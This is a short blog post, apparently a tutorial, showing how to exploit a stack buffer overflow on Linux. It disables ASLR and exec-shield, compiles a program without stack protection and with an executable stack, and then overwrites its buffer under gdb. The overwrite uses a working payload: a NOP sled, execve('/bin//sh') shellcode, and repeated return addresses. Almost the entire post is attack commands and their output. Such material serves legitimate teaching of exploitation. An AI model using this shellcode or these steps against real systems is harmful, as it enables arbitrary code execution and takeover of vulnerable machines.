Disable protections
# echo '0' > /proc/sys/kernel/randomize_va_space
# echo '0' > /proc/sys/kernel/exec-shield
# echo '0' > /proc/sys/kernel/exec-shield-randomize
Vulnerable code
# cat vulnerable.c
# gcc -g -fno-stack-protector -z execstack -o vulnerable vulnerable.c
Arbitrary code execution
# gdb -q vulnerable
(gdb) list 1,14
(gdb) break 6
(gdb) disassemble main
0x08048490
(gdb) run wakamole
(gdb) x /20x password
0x08048490
(gdb) run `perl -e 'print "\x90"x16 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90\x90" . "\xb0\xf6\xff\xbf"x9'`
(gdb) x /20x password
0x08048490
(gdb) next
(gdb) x /20x password
0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6b0
0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0
0xbffff6b0 0xbffff6b0 0xbffff6b0 0xbffff6b0
(gdb) continue
# exit
References
http://www.overflowedminds.net/Papers/Newlog/Introduccion-Explotacion-Software-Linux.pdf
No comments:
Post a Comment